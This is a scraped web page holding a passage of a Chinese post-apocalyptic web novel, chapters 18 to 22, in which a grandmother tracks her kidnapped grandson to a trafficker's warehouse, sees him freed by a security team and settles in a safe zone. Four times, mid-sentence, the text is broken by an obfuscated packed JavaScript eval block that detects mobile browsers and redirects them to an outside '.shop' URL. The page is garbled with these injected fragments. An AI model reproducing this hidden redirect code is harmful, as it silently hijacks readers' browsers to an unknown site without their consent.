;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509488|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去找。”王桂香说道,从包里掏出最后一点干粮,分给了孩子们。
孩子们吃完干粮,王桂香帮他们整理了一下衣服,又帮他们擦了擦脸。然后,她拉着孩子们,走出窝棚,朝着棚户区的中心走去。她听说,棚户区的中心有一个小广场,那里是幸存者聚集的地方,有什么消息,都会在那里传开。她想去那里打听一下,看看有没有人知道小宝的消息。
棚户区的中心广场,比周围的窝棚要宽敞一些,中间有一个破损的花坛,花坛里长满了杂草。广场上聚集了不少幸存者,有的在聊天。
有的在找食物,有的在照顾孩子,还有的在地上摆弄着手里的破烂,试图换点干粮。王桂香拉着乐乐和妞妞,挤在人群边缘,目光不停扫过每一张面孔,希望能从中找到一点关于小宝的线索。
她走到一个摆着小摊、卖着各种捡来杂物的中年妇女面前,那妇女穿着一件满是补丁的外套,头发枯黄,脸上沾着灰尘,正有一搭没一搭地和旁边的人聊着天。王桂香深吸一口气,压下心里的紧张,走上前,小心翼翼地问道:“妹子,俺想问个事,你知道不知道城南这一片,有个叫小宝的孩子?今年大概七八岁,个子不高,圆脸,眼睛大大的……”
她说着,把小宝的样貌特征细细描述了一遍,每说一句,心里就多一分期待,又多一分忐忑。她怕自己问得太多,引起别人的注意,又怕错过任何一点可能的消息。
中年妇女上下打量了王桂香一眼,又看了看她身边的乐乐和妞妞,眼神里闪过一丝同情,随即又恢复了冷淡:“小宝?没听过。这棚户区这么多人,每天都有孩子走丢,也每天都有新的幸存者过来,谁记得那么多?”
她顿了顿,瞥了一眼王桂香手里空空如也的帆布包,继续说道:“再说了,现在这时候,找孩子?难哦。能活着就不错了,谁还顾得上别人的孩子?你要是没吃的,我这有半块干硬的饼,换你手里那把柴刀,怎么样?”
王桂香下意识把柴刀往身后藏了藏,摇了摇头:“妹子,俺不是来换东西的。俺就想问问,你最近有没有见过这么大的孩子?俺孙子走散了,找了好久才到这。”
她的声音有些哽咽,眼眶微微发红。中年妇女看着她,沉默了片刻,从口袋里掏出一小包用塑料袋包着的饼干,递了过去:“拿着吧,看你这老太太带着两个孩子,也不容易。这饼干是我前几天捡的,没坏。至于小宝,我没见过。不过,你要是想找消息,明天早上去广场那边的公告栏看看,那边每天都有人贴寻亲启事,也有人贴收留孩子的消息,说不定能碰到。”
“多谢妹子!多谢你!”王桂香激动得差点跪下,赶紧接过饼干,紧紧抱在怀里,又从包里掏出最后一个野山楂,递了过去,“这个给你,算是俺的一点心意。”
中年妇女愣了一下,接过野山楂,笑了笑:“行了,赶紧走吧。棚户区人多眼杂,你们这一老两小,可得看好了,别被人拐了去。”
19. 第 19 章
王桂香点点头,拉着乐乐和妞妞,朝着公告栏的方向走去。公告栏就在广场的东侧,是一块用铁皮敲成的板子,上面贴满了各种纸张,有的是寻亲启事,有的是求助信息,还有的是悬赏通缉令。纸张被风吹得皱皱巴巴,有的还掉在了地上,被人踩得满是泥印。
王桂香挤到公告栏前,一张张地看。寻亲启事上写着各种孩子的名字、年龄和样貌,有男有女,有的写着“悬赏五斤玉米面”,有的写着“愿以食物交换”。她看了很久,眼睛都看花了,却始终没有看到“小宝”的名字。
“奶奶,我累。”妞妞靠在王桂香腿上,小声说道,小手揉着肚子。
王桂香蹲下身,帮妞妞擦了擦脸,又打开那包饼干,掰了一小块,喂给她吃:“再等等,看完这几张就休息。”
她继续翻看着公告栏里的信息,手指有些颤抖。每一张启事,都像是一根针,扎在她的心上。她看到不少父母在启事里写下“孩子,爸妈等你回家”,看到不少爷爷奶奶写下“小宝,奶奶在找你”,心里一阵酸楚。她不知道,小宝现在是不是也在被人寻找,是不是也在某个角落想念她。
就在这时,人群突然骚动起来,有人大喊:“快让让!巡逻队来了!”
王桂香心里一紧,赶紧拉着乐乐和妞妞,躲到公告栏后面的窝棚墙角,屏住呼吸,不敢出声。只见几个穿黑色制服的巡逻队成员,手里拿着武器,正挨个检查人群,他们的眼神锐利,像是在找什么人。
“你们几个,过来!”一个巡逻队成员指着王桂香藏身的角落,厉声喊道。
王桂香浑身冰凉,手心全是汗,紧紧抱着乐乐和妞妞,做好了最坏的打算。她知道,自己没有通行证,要是被他们发现,后果不堪设想。
乐乐紧紧攥着王桂香的衣角,小脸吓得惨白,却还是小声说道:“奶奶,别怕。”
王桂香摸了摸乐乐的头,强作镇定,慢慢从墙角走了出来。她低着头,尽量不让自己的脸被看到:“同志,俺们就是来看看公告,没别的意思。”
“没通行证?”巡逻队成员皱了皱眉,上下打量着他们,“没有通行证还敢在棚户区逗留?跟我们走一趟!”
“同志,俺们真的只是找孙子的,俺们这就走,这就走。”王桂香赶紧说道,从包里掏出那个玉米面窝头,递了过去,“俺们没别的东西,这个窝头给你,求你通融通融。”
巡逻队成员看了看窝头,又看了看王桂香和孩子们,眼神里闪过一丝犹豫。就在这时,另一个巡逻队成员说道:“队长,别管他们了,前面还有人要查。再说了,就这一老两小,也翻不起什么浪。”
被称为队长的巡逻队成员看了看王桂香,又看了看手里的窝头,最终摆了摆手:“算了,走吧。以后没有通行证别在这晃,否则直接抓起来!”
“多谢同志!多谢你!”王桂香心里一阵后怕,赶紧拉着乐乐和妞妞,转身就走,不敢再停留。
他们沿着窝棚之间的小路,朝着棚户区的边缘走去。王桂香的心还在砰砰直跳,手心全是汗。她看了看怀里的饼干,又看了看手里的柴刀,心里暗暗下定决心:明天一定要去公告栏好好找找,就算再危险,也一定要找到小宝的消息。
走到一处相对安静的窝棚前,王桂香找了一块干净的干草,坐了下来,让孩子们靠着自己休息。她从包里掏出那包饼干,分成三份,给孩子们和自己各一份。饼干已经有些硬了,吃起来噎得嗓子发干,可孩子们还是吃得很香,小口小口的,生怕吃完了就没了。
“奶奶,明天我们还来找小宝吗?”妞妞吃完饼干,擦了擦嘴,小声问道。
“找,当然找。”王桂香说道,眼神坚定,“只要小宝还在,就算找遍整个省城,俺也要找到他。”
乐乐点了点头,说道:“奶奶,我帮你一起找。我能记住很多人的样子,能帮你认。”
王桂香看着两个孩子,心里一阵温暖。她把孩子们搂在怀里,靠在窝棚的墙上,看着远处渐渐升起的太阳。阳光透过窝棚的缝隙照进来,洒在他们身上,带着一丝暖意。
她知道,未来的路还很长,还会遇到很多危险,可只要有孩子们在,只要有找到小宝的信念在,她就一定能坚持下去。
第二天一早,天刚亮,王桂香就叫醒了乐乐和妞妞。她把孩子们收拾好,又把帆布包往肩上紧了紧,里面装着昨天剩下的一点干粮和野山楂,是她最后的积蓄。
“走吧,我们去公告栏。”王桂香说道,拉着孩子们,走出窝棚。
棚户区的早晨,雾比昨天更浓了,能见度不足几米。窝棚之间的小路上,已经有了不少幸存者,都是朝着广场的方向去的,应该都是去看公告栏的。王桂香挤在人群里,拉着孩子们,小心地避开巡逻队的身影。
走到广场,公告栏前已经围满了人。王桂香费了九牛二虎之力,才挤到公告栏前。她仔细地一张张翻看着寻亲启事,眼睛都快看花了,还是没有看到小宝的名字。
“奶奶,我渴。”妞妞揉了揉喉咙,小声说道。
王桂香心里一疼,从包里掏出最后一点凉水,递给妞妞:“喝点水,忍一忍,等找到小宝,就有喝的了。”
妞妞接过凉水,小口小口地喝着。王桂香继续翻看着公告栏,突然,她看到一张寻亲启事上写着:“寻子,小宝,男,7岁,身高120cm,圆脸,左眉有一道疤痕,家住城南,于上月在棚户区走失,悬赏十斤玉米面。”
王桂香浑身一震,赶紧凑上前,仔细看了看。寻亲启事上的照片有些模糊,但依稀能看出,那孩子的左眉有一道疤痕,和小宝一模一样!
“小宝!是小宝!”王桂香激动得声音都颤抖了,眼泪瞬间涌了出来,“俺找到小宝的消息了!俺找到小宝了!”
乐乐和妞妞也凑了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509489|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过来,看着寻亲启事,脸上露出了兴奋的神情。“奶奶,那小宝在哪呀?”妞妞问道。
王桂香擦了擦眼泪,指着启事下方的一行小字:“线索人说,孩子在城西的仓库区,被一个叫‘老疤’的人带走了。”
她心里一阵激动,又一阵紧张。城西仓库区,她听说过,那里是棚户区最混乱的地方,全是废弃的仓库和窝棚,聚集着不少地痞流氓,还有不少感染者在附近游荡,极其危险。可她不能退缩,小宝就在那里,她必须去。
“走,我们去城西。”王桂香说道,眼神坚定。
她拉着孩子们,转身就走。刚走到广场边缘,就遇到了巡逻队。为首的巡逻队成员看到他们,厉声喊道:“站住!你们要去哪?有通行证吗?”
“同志,俺们要去城西找亲戚,俺孙子在那。”王桂香赶紧说道,从包里掏出那个玉米面窝头,递了过去,“俺们真的有急事,求你通融通融。”
巡逻队成员看了看窝头,又看了看王桂香,犹豫了片刻,说道:“城西危险,你们要是去了,出了事别找我们。去吧。”
“多谢同志!多谢你!”王桂香心里一阵庆幸,赶紧拉着孩子们,朝着城西的方向走去。
城西比棚户区更破旧,更混乱。路上的垃圾和淤泥更多,空气中弥漫着一股刺鼻的臭味。废弃的仓库一栋挨着一栋,有的仓库门开着,里面黑漆漆的,不知道藏着什么。路上的幸存者大多神色警惕,有的手里拿着武器,有的三五成群,像是在防备着什么。
王桂香拉着孩子们,沿着仓库之间的小路往前走。她问了几个幸存者,都说知道老疤,但不知道他具体在哪。老疤是城西的一霸,手下有不少人,专门在棚户区和城西一带掳掠孩子和食物,人人都怕他。
走了大概一个小时,他们走到了一栋废弃的仓库前。仓库的大门虚掩着,里面传来了嘈杂的声音,有男人的笑声,有孩子的哭声,还有东西碰撞的声音。王桂香心里一紧,拉着孩子们,躲到仓库旁边的墙角,偷偷观察着。
只见仓库门口站着两个壮汉,手里拿着铁棍,正盯着过往的行人。仓库里面,有不少孩子被关在一个铁笼子里,一个个小脸蜡黄,眼神里满是恐惧。还有几个女人被绑在柱子上,正在哭泣。
王桂香的心跳瞬间加速,她在人群中看到了一个熟悉的身影——那是一个和小宝年纪相仿的孩子,左眉有一道疤痕,正被一个壮汉推搡着,嘴里喊着:“我要找我奶奶!我要找我奶奶!”
那是小宝!真的是小宝!
“小宝!”王桂香再也忍不住,大喊一声,就要冲过去。
乐乐和妞妞也跟着大喊:“小宝!小宝!”
他们的声音惊动了仓库门口的壮汉。两个壮汉立马转过头,朝着他们这边看来。“哪里来的野丫头?敢在这里喊!”其中一个壮汉厉声喊道,手里的铁棍一挥,朝着他们这边跑来。
20. 第 20 章
王桂香拉着孩子们,转身就跑。可她年纪大了,跑得慢,很快就被壮汉追上了。壮汉一把抓住她的胳膊,狠狠一推,王桂香摔倒在地上,胳膊擦破了皮,渗出血丝。
“老奶,你找死啊?敢来这里找事!”壮汉恶狠狠地说道,就要举起铁棍打下来。
就在这时,突然传来一个低沉的声音:“住手!”
壮汉愣了一下,转头看去。只见一个穿黑色外套的男人从仓库里走了出来,他身材高大,脸上有一道疤痕,正是老疤。他的眼神冰冷,扫过王桂香和孩子们,又扫过那个壮汉。
“疤哥。”壮汉赶紧放下铁棍,恭敬地说道。
老疤走到王桂香面前,上下打量着她,又看了看仓库里的小宝,嘴角露出一丝冷笑:“你是这孩子的奶奶?想救他?可以,拿十斤玉米面来,不然,别想带走人。”
王桂香挣扎着站起身,擦了擦嘴角的血,说道:“同志,俺们没有玉米面。俺们一路走过来,干粮都吃完了,求你通融通融,把孩子还给俺们。俺们以后一定报答你。”
“没有玉米面?”老疤冷笑一声,挥了挥手,“把他们抓起来!这老太太带着两个孩子,正好可以换点吃的。”
两个壮汉立马围了上来,就要抓王桂香和孩子们。王桂香握紧手里的柴刀,做好了战斗的准备。乐乐和妞妞也紧紧抱着她的腿,不敢退缩。
就在这危急关头,突然,远处传来了一阵急促的脚步声。只见几个穿白色制服的治安队成员跑了过来,为首的正是昨天在路口帮助他们的那个年轻姑娘。
“老疤,又在这掳掠幸存者?”年轻姑娘厉声喊道,手里的警棍一挥,“住手!放下他们!”
老疤脸色大变,看着治安队成员,眼神里闪过一丝恐惧。他知道,治安队专管他们这些地痞流氓,要是被他们抓住,后果不堪设想。可他不甘心,对着身边的壮汉使了个眼色。
就在壮汉要动手的时候,治安队成员已经冲了上来,警棍一挥,打倒了两个壮汉。年轻姑娘走到王桂香面前,说道:“大娘,你没事吧?”
“多谢姑娘,俺没事。”王桂香说道,指着仓库里的小宝,“那是俺孙子,求你帮俺救他。”
年轻姑娘点了点头,对着治安队成员说道:“把仓库里的孩子都放了!控制住老疤!”
治安队成员立马冲进仓库,和老疤的手下打了起来。仓库里一片混乱,喊叫声、打斗声交织在一起。老疤见势不妙,转身就要跑,却被年轻姑娘一脚绊倒,摔在地上,被治安队成员捆了起来。
王桂香赶紧冲进仓库,朝着小宝跑去。小宝正被关在铁笼子里,看到王桂香,眼睛一亮,大喊着“奶奶”,拼命拍打着铁笼子。
“小宝!小宝!”王桂香哭着喊道,赶紧打开铁笼子的锁。
锁很简单,是一把生锈的铁锁,王桂香几下就掰开了。小宝立马扑到王桂香怀里,放声大哭:“奶奶,我好想你!我以为再也见不到你了!”
“小宝,奶奶也想你!奶奶来晚了,让你受苦了!”王桂香抱着小宝,眼泪止不住地往下掉。
乐乐和妞妞也跑了过来,围着小宝,说道:“小宝,我们找到你了!我们一起回家!”
治安队成员很快就控制住了局面,把老疤和他的手下都捆了起来,还救出了仓库里的其他孩子。年轻姑娘走到王桂香面前,说道:“大娘,你们安全了。我叫林晓,是治安队的队长。你们要是想离开,我可以送你们到安全的地方。”
“多谢林队长!多谢你!”王桂香说道,对着林晓深深鞠了一躬,“你救了俺们一家,俺这辈子都忘不了你的恩情。”
“不用客气,这是我们的职责。”林晓笑了笑,“现在城西还不安全,我带你们去城外的安全区吧。那里有食物和水,也有地方住。”
王桂香点了点头,拉着乐乐、妞妞和小宝,跟着林晓,朝着城外的安全区走去。
走在路上,小宝紧紧抱着王桂香的胳膊,一刻也不敢松开。他把这几天的遭遇都告诉了王桂香,说他被老疤的人掳到仓库,每天都吃不饱,还要被他们打骂,幸好遇到了治安队。
王桂香听着,心里一阵心疼,紧紧抱着小宝,说道:“小宝,不怕,有奶奶在,以后没人敢欺负你了。”
走到安全区门口,林晓对着王桂香说道:“大娘,安全区里有治安队的人,也有志愿者,你们要是有什么需要,可以找他们。我还有事,就先走了。”
“多谢林队长!你多保重!”王桂香说道,对着林晓挥了挥手。
林晓点了点头,转身离开了。
王桂香拉着三个孩子,走进安全区。安全区比棚户区要好很多,有整齐的窝棚,有干净的水源,还有志愿者在分发食物和水。
走进安全区的那一刻,王桂香连呼吸都觉得顺畅了几分。这里的空气总算没有棚户区那股刺鼻的霉味和臭味,混着初春泥土的气息,哪怕带着一丝凉意,也让人心里踏实。
眼前的窝棚比棚户区的整齐多了,一排排用干净的木板搭着顶,四周用塑料布封得严严实实,还扎着低矮的篱笆,把各个区域隔得清清楚楚。空地上有几个幸存者围在一起生火,火光明明灭灭,映着他们脸上的疲惫,却少了几分棚户区的焦躁与警惕。远处还有个小小的帐篷,上面插着一面小小的红旗,应该是治安队的值守点。
“奶奶,这里好亮呀。”妞妞松开王桂香的衣角,小跑到一处还在滴水的水管旁,伸手接了一点凉水,擦了擦脸,眼睛亮闪闪的,“比棚户区暖和多啦。”
小宝也凑过去,摸了摸妞妞的头,又转头看向王桂香,小声说:“奶奶,这里看着安全,以后我们就住这啦?”
王桂香
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509490|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点点头,蹲下身,帮三个孩子理了理皱巴巴的衣服,又擦了擦他们脸上的灰尘。孩子们的小脸经过这一路的折腾,虽然还是有些蜡黄,但眼神里的恐惧少了不少,多了几分对新环境的好奇。
“先找志愿者同志要点吃的,再找个地方歇脚。”王桂香说着,拉着孩子们朝着不远处一个穿蓝色马甲的女人走去。那马甲上印着“志愿者”三个字,女人正低头给几个孩子分面包,动作轻柔。
“同志,你好。”王桂香走上前,声音带着一丝小心翼翼,“俺们是刚从城西过来的,想讨点吃的,再问问这里能不能住下。”
女人抬起头,脸上带着温和的笑,看了看王桂香,又扫了一眼她身边的三个孩子,眼神里满是同情:“大娘,快过来。刚烤的面包,还热乎呢,你们快拿着吃。”
她递过来三个热乎乎的玉米面面包,还有一小袋咸菜。王桂香接过面包,手都有些抖,眼眶瞬间红了:“多谢同志,多谢你……俺们真的太饿了。”
“不客气,都是应该的。”女人摆摆手,又拿出几个干净的塑料碗,接了温水递给孩子们,“你们先吃点东西垫垫肚子。住的地方放心,安全区里有空窝棚,我带你们去挑一个。对了,我叫李秀,是这里的志愿者负责人,你们以后有什么事,都可以找我。”
“李同志,太谢谢你了。”王桂香赶紧说道,看着三个孩子狼吞虎咽地吃着面包,心里像被温水泡过一样暖。
李秀带着他们穿过几排窝棚,在最里面的一排停下了。这里的窝棚相对安静,离生火的地方远,也不容易被打扰。“这个窝棚空着,之前的住户搬走了,里面挺干净的,你们就住这吧。”她推了推窝棚的门,门发出轻微的声响,里面铺着一层厚厚的干草,还有几张破旧的木板,勉强能当床。
“多谢李同志,你真是个大好人。”王桂香再次道谢,把帆布包放在地上,开始帮孩子们收拾东西。
李秀帮着把窝棚里的杂草整理了一下,又从口袋里掏出一包药粉:“大娘,这是消炎药,要是孩子们身上有伤口,撒一点上去,能防感染。我看那老太太胳膊上有擦伤,也用点吧。”
王桂香接过药粉,心里一阵感激:“真是麻烦你了,李同志。”
“不麻烦,你们刚经历了那么多事,不容易。”李秀笑了笑,又指了指窝棚外的方向,“明天早上八点,在中间的广场有吃的发,还有人登记信息,要是你们想找亲戚,也可以去登记,我们会帮忙打听的。天色不早了,你们早点休息,有事就喊我。”
说完,李秀转身离开了,留下王桂香和三个孩子在小小的窝棚里。
王桂香帮孩子们擦了身子,给小宝的胳膊撒上消炎药,又帮乐乐和妞妞检查了一遍,确认没有新伤口,才松了口气。她自己的胳膊也擦破了皮,简单处理了一下,就靠在干草上,看着三个孩子。
21. 第 21 章
孩子们吃完面包,喝饱了水,靠在一起,很快就发出了均匀的呼吸声。妞妞蜷缩在小宝和乐乐中间,小手还抓着王桂香给她擦脸的破布条。小宝的眼睛闭着,眉头却还微微皱着,像是还没忘记之前的遭遇。乐乐则抱着那个装着野山楂的布包,睡得很沉。
王桂香轻轻帮他们盖好身上的破外套,自己却没有睡意。她靠在窝棚的木板上,看着外面渐渐暗下来的天色,心里百感交集。从逃出基地到现在,走了这么远的路,吃了这么多苦,终于把三个孩子都聚在了一起,也到了这个看似安全的地方。
可她知道,这只是暂时的安稳。末世里没有真正的安全,谁也不知道明天会发生什么。她摸了摸怀里的柴刀,这是她现在唯一的依靠,心里暗暗下定决心,一定要守好这三个孩子,让他们平平安安的。
不知过了多久,王桂香才迷迷糊糊地睡过去。梦里,全是孩子们的笑脸,还有大黄摇着尾巴朝她跑来的身影。
天还没有完全透亮,安全区上空就笼着一层淡白色的雾。水汽沾在睫毛上,凉丝丝的,一呼一吸之间,全是潮湿的泥土气息,混着远处柴火燃烧的淡淡烟气,和棚户区那种刺鼻的腐臭截然不同。王桂香是在一阵细碎的脚步声里醒过来的,她没有立刻睁眼,先是静静感受了片刻身边的温度——三个孩子挤在她身侧,呼吸均匀,小身子暖烘烘的,没有半夜惊醒的啼哭,没有突然响起的怪声,也没有守卫粗暴的踹门声。这种安稳,对她来说已经太过陌生,陌生到让她心里发虚,总觉得下一秒就会被打破。
她缓缓睁开眼,窝棚内光线昏暗,只有缝隙里透进来几缕微弱的天光。铺在地上的干草被压得平整,虽然算不上柔软,却能隔绝地面的寒气,比在荒野里蜷缩在岩石旁、在废弃木屋里靠着墙角过夜要好上太多。她慢慢挪动身体,肩膀和腰背传来一阵阵酸涩的钝痛,那是连日奔波、紧绷神经留下的痕迹,每一寸肌肉都像是被重物碾过,稍一用力就牵扯着发疼。她不敢发出太大动静,怕吵醒三个孩子,只是一点点撑起身子,借着微弱的光亮,仔细打量着身边的小脸。
小宝躺在最中间,眉头依旧微微蹙着,哪怕在睡梦里,也带着一丝挥之不去的不安。
他左眉那道浅浅的疤痕格外明显,是小时候调皮摔倒留下的,也是王桂香在茫茫人海里辨认他最清晰的记号。这孩子在老疤的仓库里受了不少惊吓,吃得少,挨过吓,身形比同龄孩子要单薄一圈,胳膊细得几乎一把就能攥住,脸上没什么肉,颧骨微微凸显,下巴尖尖的,看着就让人心疼。
乐乐靠在小宝外侧,睡得相对沉稳,只是双手紧紧抱着那个早已空瘪的小布包,那是他一路以来唯一的依仗,哪怕里面早就没有干粮,也始终不肯撒手。
妞妞则蜷缩在最边上,小脑袋埋在臂弯里,头发凌乱,几缕碎发粘在脸颊上,嘴角微微抿着,像是在做什么安稳的梦。
王桂香伸出粗糙的手掌,轻轻拂开孩子们脸上的碎发,指尖小心翼翼,生怕惊扰了他们。她的手掌布满老茧,布满裂痕,还有多处新旧交错的伤口,有的是被树枝划破,有的是被碎石磨破,有的是在逃亡时被守卫推搡磕碰留下的。
指关节粗大,皮肤黝黑干燥,和孩子们柔嫩的肌肤形成鲜明对比。她轻轻摸了摸小宝的额头,温度正常,没有发烧,又摸了摸乐乐和妞妞的手背,虽然冰凉,却也没有冻伤红肿。一颗悬了许久的心,总算稍稍往下落了落。
从逃出基地,到荒野奔逃,遭遇巡逻队追捕,失去大黄,荒村借宿,险过关卡,闯入棚户区,深入城西仓库救出小宝,再到被治安队带到这片安全区,这一路走过来,她数次濒临绝境,数次以为自己要和孩子们死在半路。
她见过横尸路边的幸存者,见过游荡的邪祟啃食尸体,见过人心险恶,见过为了一块干粮大打出手、六亲不认的场面。她一把年纪,本应安安稳稳度日,却要在末世里拖着一副老骨头,带着三个毫无自保能力的孩子,在生死边缘反复挣扎。
支撑她走下去的,从来不是什么活下去的野心,只是最朴素的念头——找到小宝,护住身边的孩子,一家人不能就这么散了。
她静静坐了片刻,听着窝棚外渐渐嘈杂起来的声响。有志愿者低声交谈的声音,有枯枝被折断的脆响,有铁锅碰撞的轻响,还有零星几声孩子的啼哭,很快又被大人轻声安抚下去。
整个安全区在晨雾里缓缓苏醒,没有棚户区的焦躁暴戾,没有荒野里的死寂恐怖,多了几分烟火气,几分勉强称得上是日常的平静。
王桂香慢慢挪动到窝棚门口,轻轻掀开挡门的破旧麻布。雾气扑面而来,带着浓重的湿冷,她忍不住打了个轻颤。放眼望去,一排排简易窝棚整齐排列,屋顶覆盖着厚实的塑料布和破旧油毡,边缘用石块和木棍压着,防止被风吹走。
窝棚之间留有狭窄的通道,地面被反复踩踏,平整坚实,没有泥泞积水,也没有随处丢弃的垃圾,和棚户区那种污水横流、杂物遍地的景象判若两地。远处的空地上,已经有志愿者开始忙碌,几张长木桌拼在一起,上面摆放着麻袋、瓷碗、木桶,应该是分发食物和登记信息的地方。
几名穿着蓝色志愿者马甲的身影来回走动,动作麻利,语气平和,没有巡逻队那种居高临下的凶狠,也没有地痞流氓的蛮横。
她靠在门框上,深深吸了一口气。空气清冷,却干净,没有腐烂的味道,没有血腥气息,这种感觉让她既安心,又惶恐。她活了六十五年,末世前的日子虽然清贫,却也安稳,日出而作,日落而息,家里有田,有鸡犬,有儿孙绕膝。末世降临,一切秩序崩塌,熟悉的人一个个离去,家园变成废墟,安稳变成奢望。她早已习惯了警惕,习惯了时刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509491|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
紧绷神经,习惯了耳边充斥着嘶吼与哭喊,突然置身于这样一个相对平和的地方,反而有些无所适从。
她低头看了看自己身上的衣服,外套多处破损,袖口磨得发亮,衣角撕裂,沾满尘土和血渍,里面的单衣早已看不出原本的颜色,又脏又破。
鞋子是一双破旧的布鞋,鞋底磨穿,鞋帮开裂,里面的袜子满是破洞,脚趾头都露在外面。这一身行头,在满是幸存者的安全区里,依旧显得格外落魄,格外扎眼。她下意识拢了拢外套,把自己裹得更紧一些,不是自卑,只是本能地想要降低存在感,不想引来多余的目光,不想给孩子们招惹麻烦。
不知过了多久,身后传来轻微的响动。妞妞先醒了,揉着眼睛,迷迷糊糊地喊了一声“奶奶”。声音软糯,带着刚睡醒的沙哑,在安静的清晨里格外清晰。
王桂香连忙转身,快步走回窝棚里,压低声音:“妞妞醒啦?慢点,别摔着。”
妞妞揉了揉眼睛,小脸上带着睡意,眼神渐渐清明。她看到王桂香,立刻露出一点笑意,慢慢坐起身,伸手拉了拉身边的乐乐。
乐乐被惊醒,先是警惕地一僵,随即看清是身边人,紧绷的身体才放松下来,睁开眼睛,沉默地坐起身。小宝是最后醒的,被两人的动作吵醒,睫毛颤了颤,缓缓睁开眼睛。
他的眼神先是茫然,随即看到王桂香,瞬间有了神采,小声喊了一句“奶奶”,没有大哭大闹,却透着十足的依赖。
“都醒了就好。”王桂香压着心头的酸涩,尽量让自己的语气显得温和,“外面天亮了,志愿者同志说,早上广场上发吃的,还要登记信息。咱收拾收拾,过去看看。”
三个孩子都很懂事,没有多余的哭闹,只是默默整理自己的衣物。没有梳子,王桂香就用手指一点点帮他们理顺头发,把凌乱的衣角扯平,把脸上的污渍用衣角轻轻擦干净。
做完这一切,她背起那个早已空瘪的帆布包,包里只剩下一点点野山楂、半块干硬的窝头、一小包消炎药和那把柴刀。柴刀被她用破布裹着,藏在包底,不到万不得已,她不想拿出来。
在有秩序的地方,亮出武器,往往意味着挑衅,意味着麻烦。
她牵着三个孩子的手,妞妞走在最内侧,小宝在中间,乐乐在外侧,一步步走出窝棚,沿着狭窄的通道,朝着中央广场的方向走去。
雾气渐渐散去,天光越来越亮,视野也变得清晰。通道上往来的人渐渐多了起来,大多是和他们一样的幸存者,有老人,有妇女,有孩子,人人脸上都带着疲惫,却少了几分荒野里的绝望。
人们彼此擦肩而过,大多只是沉默对视一眼,便各自低头赶路,没有过多交流,也没有恶意打量。
末世里的分寸感,就是不窥探、不打扰、不招惹,各自守着自己的一方小天地,勉强求生。
22. 第 22 章
走到广场附近,队伍已经排得很长。队伍秩序井然,没有人推搡,没有人争抢,所有人都安静地排队,缓缓向前移动。
长桌前坐着两名志愿者,一人负责登记信息,一人负责分发食物。登记的志愿者面前摆着一个厚厚的笔记本、一支铅笔、一盏破旧的煤油灯;
分发食物的志愿者面前摆着一口大铁锅,里面是稀粥,旁边堆着一摞玉米面饼,还有一小盆咸菜,分量不多,却足够让人暂时摆脱饥饿。
王桂香带着孩子,默默站到队伍末尾。她目光平静,扫视着周围的环境,时刻保持着警惕。
她注意到,广场四角都有治安队队员值守,穿着干净的白色制服,手持警棍,站姿端正,眼神巡视着四周,却没有随意呵斥、随意刁难路人。
他们的存在,不是压迫,而是一种微弱的秩序保障。这让王桂香心里更加安定了几分。
队伍移动得很慢,每一个人都要报上姓名、来历、同行人员、是否有亲人失散、是否需要特殊帮助。
志愿者耐心记录,语气平和,有问必答,遇到老人和孩子,还会多给一小块饼,多盛半勺稀粥。王桂香静静看着,心里泛起一丝久违的暖意。
她已经太久没有感受过这种不带恶意的对待,太久没有被人平等对待。在基地里,她是被嫌弃、被敌视、被随时可以处决的“邪恶老奶”;在荒野里,她是猎物,是掠夺者眼中的弱者;在棚户区,她是连驻足都要小心翼翼的可疑人员。
只有在这里,她只是一个带着孩子求生的老人,没有标签,没有偏见,没有突如其来的灾祸。
她低头看了看身边的孩子。妞妞好奇地张望着四周,小眼睛里满是新奇,却也紧紧攥着王桂香的衣角,不敢远离。
小宝沉默地看着地面,脚尖轻轻踢着小石子,经历过囚禁和惊吓,他变得比同龄孩子更加沉默、更加敏感。
乐乐则始终保持警惕,目光时不时扫过四周,像个小大人一样,默默守护着身边的人。
王桂香轻轻拍了拍孩子们的手背,无声地安抚。
